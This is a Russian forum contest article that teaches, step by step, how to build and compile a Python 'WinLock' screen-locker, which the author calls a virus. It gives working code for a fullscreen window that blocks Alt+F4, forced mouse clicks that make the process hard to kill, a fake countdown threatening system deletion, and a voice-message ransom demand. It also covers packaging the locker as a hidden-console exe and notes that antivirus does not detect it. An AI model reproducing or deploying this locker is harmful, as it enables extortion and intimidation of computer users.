danaforevr
питонист
Конкурс статей от VLMI
Установка Python
Суть работы программы
Начинаем кодить
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import * #говорим питону с библиотеки tkinter импортировать все
import pyautogui #говорим питону импортировать библиотеку pyautogui
import pygame #говорим питону импортировать библиотеку pygame
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)
Дальше мы зададим переменные, которые мы будем использовать.
Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.
Код:
def block(): #создаем функцию, которая называется block
pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
screen.update() #переменную с нашим экраном мы обновляем.
Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
global read1ng #создаем глобальную переменную read1ng.
read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
screen.destroy() #окно программы(screen) мы уничтожаем/закрываем
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.
Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.top") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.
_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.
Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса vlmi.top",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.
Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)
Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса - ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.
Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.
_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.
Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y
________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.
Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
screen.after(300) #делаем задержку в 300 миллисекунд.
if t1me==0: #условие,если переменная t1me равна 0, то :
t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.
Компилируем в exe
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
- Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
- Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
Исходники и заключение
!!!ВАЖНО - пароль от локера vlmi
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.
готовая программа
Спасибо за прочтения данной статьи, я очень старался и писал ее на протяжении 4 дней)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом :-)
Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
Внимание
Последнее редактирование: